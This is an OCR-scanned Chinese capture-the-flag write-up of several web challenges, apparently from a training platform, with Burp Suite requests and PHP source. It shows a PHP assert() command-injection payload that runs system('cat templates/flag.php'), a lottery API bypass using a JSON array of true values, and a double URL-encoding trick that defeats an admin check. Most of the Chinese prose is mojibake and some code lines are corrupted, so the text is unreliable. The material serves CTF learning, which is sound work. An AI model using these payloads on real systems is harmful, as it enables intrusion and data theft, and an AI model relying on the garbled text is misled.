REG AW —F R EAENORA T “=="XAMFSRAW, X KB MR RPHP ISR ¥ Lo i &
e Ox1 %ﬂiﬂlj\]%‘i
phpth B B R LIRS == 5 ===

=== FEHAT LRI %, AWM PSR TS, HHR
== fEHHAT LRI AR, & S 745 B R LR R, B ELAR

IR — AN 74 88 B LB KB BF AR TR, W77 B 2R s E 5 H H B i R BUE R k4T


https://blog.csdn.net/qq_36869808/article/details/88909961

(1) M LR REG, “admin’==0 LK%, S¥adminfbEE, #BHEk, B Fadmin@ 7/, HKs R 20H R0
%

(2) “ladmin’==1 LI FIFHES ¥ 1adminfE L REUE, 45 81, Tiadmint“==1 & T2, Wt "admin1"#iE4LR T 0, 8H 4
g? ?

(3) “0e123456"=="0e456789"H H LL &K 10} &%, 2¥0eXKFHFHRRFNBERARENE T, OWEREZDKRITEHRE, Bl
%

o Ox2 HAth
php=F it
BU—NERFRRAE— N REREE, RERMRANT NRZFFERELY . ¢ EHARBEEERENTEEZA
FZ TR S EINCREUE, HARFTA B0 T & E AfloatkBUE, ZFMFHB T ER S IRE T ENE, MRZFFEUE
ERBEF G, WA ZEE, S0 HE RO,

Second f# BT & -

Xtbuy.php M T 31T A,

[ Dashboard ITarget I Prox T Intruder I Repeater I Sequencer I Decoder I Comparer I Extender

Intercept T HTTF history IWEbSnckets history I Options ]

ﬁ Requestto http /#111.198,29.45:37393

[ Forward J |_ Drop J |J Interceptis an ‘| Action

Raw IParams IHeaders IHex ]

POST fapi.php HTTP/1.1

Host: 111.198.29.45:373593

User-Agent: Mozilla/s5.0 (X11: Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */%; g=0.01
Accept-Language: zh-CN,en;qg=0.7,en-US;g=0.3
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:37393/buy.php
Content-Type: applicationsjson

¥-Requested-With: XMLHttpRequest

Content-Length: 36

Cookie: PHPSESSID=dfff56a87f27achfclib3iledfadbbhaz?y
Connection: close

{"action":"buy","numbers":"1234567"}
———.




KIAE T MBI S5

Burp Froject Intruder Hepeater window Help

[ Dashboard TTarget I Prosy T Intruder T Repeater T Sequencer T Decoder I Comparer ]' Extender I Project options T User options ]

Send Cancel < v >l

Request

J Raw T Params I Headers I Hex ]

Target http:#/111.198.29.45:37383 2 (7)

Response

J Raw THeaders I Hex ]

POST /api.php HTTR/1.1

Host: 111.198.29.45:37393

User-Agent: Mozillas5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0

Accept: application/json, text/javascript, */%; qg=0.01
Accept-Language: zh-CN,en:g=0.7,en-US;g=0.3
Accept-Encoding: gzip, deflate

Referer: http://111.198.29.45:37393/buy.php
Content-Type: application/json

X-Requested-With: XMLHttpRegquest

Content-Length: 63

Cookie: PHPSESSID=dfff56a87f27achoclib3ledfadbbaz?
Connection: close

{"action":"buy", "numbers" :[true,true,true,true,true,true,true]}

IR, RIS R HIERE
FIRE R R AT P, BT DA% Eflag T MRS G TS

Claim Your Prize

Lottery!

e

HTTP/1.1 2608 OK

Date: Wed, 05 Feb 2020 81:57:11 GMT

Server: Apache/2.4.25 (Debian)

¥-Powered-By: PHP/7.2.5

Expires: Thu, 19 Nov 1981 08:52: 00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 118

Connection: close

Content-Type: applicatiens/jsen

{"status":"ok", "numbers":[true,true,true,true,tru
e,true,truel, "win_numbers”:"5592795", "money" :5000
016, "prize":5000000}

———

12310014 Ld

L

Here is your flag: cyberpeace{61049b53e2eabZccl04adc312abe522f}

All items

Flag

$9990000

On Sale
buy the flag if you can

Buy

J\.mfw

o

-



First i 8 2

PRI A, RIS, HAIBX R IZE 2 — A gitit i 7 &

About Contact

About

| wrote this website all by myself in under a week!
| used:

e Git
T

* Bootstrap

BRBAREHEA T GitHackix—A TR, HEREA, BEAFFEELRR, FUGHHIRHEERMEE T TR, ot T %
A K A8 B ) B S IR

BME R TEANAET

(1 i HI a1

assert("strpos('$file’', '.."') === Tfalse") ("Detected hacking attempt!");

assert("file exists('$file')") ("That file doesn't exist!");

REZIMNEA:

 strpos()



B ETIFEPE - RHIR AL E

EMTAE
strpos() BHERFHRES—FHEPEREMANE.
EE: strpos() BN ANSEE,
x_
HE: ZENEHEESN,
HEBE:
* stripos() - BERFHEES—FHEFFEAHIALUE (FTESHANE)

* strripos() - ERFHBES—FHBPRGAHANGE (FEHSFNE)
* strrpos|) - BERFHBES—FHEPRE—MEMNUE (K55G

5375

strpos(string, find start)

E 2 .

string DE., MESHENTHSE,
find HE. AEEERNFHE,
start wJigk, MUEEMATIGER.

- assert() — R A— WS R AN FALSE



ZSAEN, RISRSHE—SBRE, WsneHTERBhHRZE®RE, TURRSEERRELEN —MREER. B
BRIABAREER, BFAMEEREFFRENE R ZRENMENE. 7TUEEMRREAANEER NS RIE, Fikmrid
FENAN B TS, MAESENZANE. A, BFEANETE, R&RPERE SN EY SRS .

CRL L SEpE W

PHP 5

assert ( mixed $assertion [, string $description ] ) : bool

PHP 7

assert ( mixed $assertion [, Throwable $exception ] ) : bool

assert() 2 ETIEEM assertion HEE RN FALSE BSEEGE HAY1TED.

|

Traditional assertions (PHP 5 and 7)
-

MR assertion BFHFER, BIESH assert() ff PHP K13k H1T. assertion EFRFHEMMNER
LERRSHENAHESE), HEENSXMMEESES assertion ®iA. XEHREURME
AT boolean HIZFF{EA assertion, X TRFEFATETAESRBNSE; ERBIREXN
assert_options() LHERHEY, FRESEBRNFHS, MM/RE FALSE SHERMZEFH S,

Fi A
AR ERATT A B TAE b B ) AR P 3R Xt page AT R AR U8, IR LIRATT AT LA FE M L page il , MmifE A&
strpos()eR %, MEHF K Asystemar 4, iLBEHBIMAT.

A fileiz BN

<?php
(isset($_GET['page'])) {
$page - $_GET['page'];
I

8
$page
}
$file - “templates/" . $page . ".php";

assert("strpos("$file’, "..') === false") ("Detected hacking attempt!™);

("That file doesn't exist!™);

Hitpayload:
page=abc') or system

B, R NfEstrpos® R4ENTabe, FrUAH G EiRElfalse, 7ERFHorib H#iTsystemti%y, BA" /¥ )5 KIEAFEREE



BEIRAE:

http://111.198.29.45:50586/?page=abc%27)%200r%20system(%22cat % 20templates/flag.php%22);// - Mozilla Firefox @ @ &

= N u X | FE X EEE N X | http:{{111.198.29.45:50586/ X | +
cC @ (© view-source:http://111.198.29.45:50586/7page=abc’) or syst: - @ v L In D =
", KaliLinux ", Kali Training “e, Kali Tools “ KaliDocs " Kali Forums ‘e MetHunter [jlj Offensive Security = Exploit-DB »

-~

<?php $FLAG="cyberpeace{ab4800f324f4f20487f5db81cb6daefbh7}"; 7>
<?php $FLAG="cyberpeace{ab4800f324f47f20487f5db81c6daefh7}"; 7>
<!IDOCTYPE html=>
<html>

<head>

~mata charcat+_"u+F QN

Ji.web2
First 23 W&

HANBH, BIRERENEE, #HIFXBEAE, 27

function encode($str){
$ _o=strrev($str);

for($_0=0;% 0<strlen($ 0);$ 0++){

$ c=substr($ o0,%$ 0,1);
$__=ord($_c)+1;
$_c=chr($_);
$_=%_.%_c;

1
J

return str_rotl3(strrev(base64 encode($ )));

highlight file(_ FILE_);

JINREEIR R

(1) strrev()—KR#E 7R $



AR

strrev ( string $string ) : string

R[E] string REEMFS,

SH

string

FRENRIEFTS,

(2) substr() & %(2)

EXHIRE

substr() FEE SR EN—EED.
AR W0R start BEEREME length NFIFT start, M length 20,

Bk

substr(string,start,length)

string . AEEEEEP—SeIFRHE,
start TR, MEEFS BT,

IE¥ - R RMEEIE IS
¥l - EANFHBERMEEUE TS
0 - EFRBPE—PF RS

length Bk, MEERENFHERE. WAREIFHENEE,
B4 - M start BHATEAMIERE
Thil - WFHRRIRE

(3) ord() & ¥



ord() BRHUR B 55 5 B E N F R ASCIHME

E X IR
ord() ERELREIFHBIIETFFH ASCI {E.,

&k
ord(string)
ko ik

string B, EMHIREG ASCI ENFERS.

(4) chr() & i
MR H ASCIHE R Bl 4% :
EXHIRE
chr() B MISER ASCI EIERIZFH .,
ASCI {ErEIEERHAFME. SGAFIES7tEE. /HFEREDENE 0, M otlEEEYRHIE Ox.

Bk
chr(asci)
2o E
ascii #E, ASCI &,

(5) str_rot13() &

str_rot13() B EO R B 4T ROT13 4wig.
ROT13 wigiiEG — N FRAEZHRFAETES) 13 M2 HEMEEZBEFRFAZE.
Bor: RIDAEIDHE 2 B AR R . MREEEEREEHZGEENSE, BB REIFEFRE.

Second i fBEi i 2 -
RIE UL _E 4 i 2 [ ) PHPARAG -



$ a=base64 decode(strrev(str_rotl3($miwen)));

$ mingwen=NULL;

for($ _0=0;% 0<strlen($ _a);$ 0++){

$_c=substr($_a,$ 0,1);
$__=ord($_c)-1;
$_c=chr($_);

$_mingwen=$%_mingwen.$ c;

echo strrev($_mingwen);

?>
B 3lflag: flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}

THRE: ETER:

flag: {NSCTF_b73d5adfb81%c64603d7237fa0d52977})

=base64_decode(strrev(str_rot13({ K
=NULL;

=0;$_0O<strlien($_a);$_0++){

W oo~ o Ul Bl

(=1
=

=substr({$_a, ,1);
=ord($_c)-1;
=chr($__);

B
T N

}

[
(") ]

echo strrev(

[
=J

+ .PHP2
First fif & it 12 :

FedcHuniscanFAFEM B T, K ILIXAURL

File check:

[+] CODE: 206 URL: http://111.198.29.45:31956/ind




Vildindexphp i, REEFENY, RUBEEHLAEEMN

& C @ (@ 111.198.29.45:31950/index.php
", Kali Linux “e Kali Training " Kali Tools “ KaliDocs " Kali Forui

Can you anthenticate to this website?

REBY LB T AER AR

.phpsa &8 X:
phps 3145k 2 php BITR RS ST 1.
EEHTREAEH, (GiRE) BFphpRi%, FNHAFLEBEEETWebN EEE RphpSCAEINZ, BT AR ZEHphps XAHRE

view-source:http://111.198.29.45:31950/index.phps

c @ | @ view-source:http://111.198.29.45:31950findex.phps
% Kali Linux "% Kali Training “e Kali Tools “ KaliDocs “ Kali Forums " NetHunter [

<?php

if("admin"===% _GET[id])} {
echo("<p>not allowed!</p>");
exit();

}

$_GET[id] = urldecode($_GETI[id]);
if($_GET[id] == "admin")
{
echo "<p=Access granted!</p>";
echo "<p=>Key: xoooox </p>";

}

7>

Can you anthenticate to this website?

BEAT ARG T

$_GET[id]) {

$ GET[id] urldecode($ GET[id]);
if($_GET[id] )

P
1

echo
echo

Can you anthenticate to this website




DHTIXAERE, BT IR
B IREM B FHTURLAE R, EREERURLPAadminkf, £%iii not allowed”.
BRI BAT IR, RIEEF Tadmin, &Hitikey.

ek,

Hr N adminf+N#EH]: %61%64%6d%69%6e

SRIGIEBEATURLYRIG: %2561%2564%256d%2569%256€

HiERIURLAN:
view-source:http://111.198.29.45:31950/?1d=%2561%2564%256d%2569%256e

e

« > C @ ® view-source:http://111.198.29.45:31950/7id=%2561%2564%256 w9 N\
% Kali Linux " Kali Training “ Kali Tools “ KaliDocs N Kali Forums “§ NetHunter [jlj Offensive Security @ Exploit-DB

<p>Access granted!</p><p>Key: cyberpeace{d0e0e5e43028c909f1feb9c89ec0la77?}</p>
Can you anthenticate to this webhsite?
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